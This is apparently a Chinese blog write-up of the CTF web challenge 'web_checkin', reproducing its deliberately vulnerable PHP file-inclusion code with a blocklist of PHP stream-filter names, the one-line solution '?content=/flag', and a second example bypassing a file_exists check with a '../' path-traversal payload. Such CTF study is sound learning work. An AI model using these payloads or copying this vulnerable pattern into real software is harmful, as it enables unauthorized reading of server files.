這道題是自己沒有做出來,當時也沒有認真做,最后看看來NU1L的wp才知道思路。
NU1L真的太強了,向他們看齊!!!
題目:web_checkin
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);//remote_addr代表客戶端的IP
@mkdir($sandbox);//創建一個文件
@chdir($sandbox);//進入這個文件
highlight_file(__FILE__);
if(isset($_GET['content']))
{
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))//沒有弄明白這里是為什么?
die('hacker');
if(file_exists($content))//file_exists() 函數檢查文件或目錄是否存在。
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
//file_put_contents() 函數把一個字符串寫入文件中。
}
他們是wp就一句話:?content=/flag
難道flag在根目錄下面?
於是自己搭建環境測試確實可以獲得flag,(使用絕對路徑獲得,這樣可以避免進行修改,但是也應該是沒有權限寫入吧?)
先放着這里,過幾天官方出wp在想一想吧!
想法
結合這個題,我想到了file_exists()函數可能存在繞過,這個例子來源於網絡。
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
//file_exists這個函數允許傳入的路徑中含有特殊符號
if(file_exists($file)){
echo "hacker!!!";
}else{
include($file);
}
?>
//flag.php
<?php
flag{nice_to_meet_u0}
正常輸入如果文件存在就會輸出hack!!!
使用我們可以構造一個系統沒有的文件夾然后../繞過來繞過。
payload:
?file=./nice/../flag.php
這個思想來自DASCTF7月的比賽
題目鏈接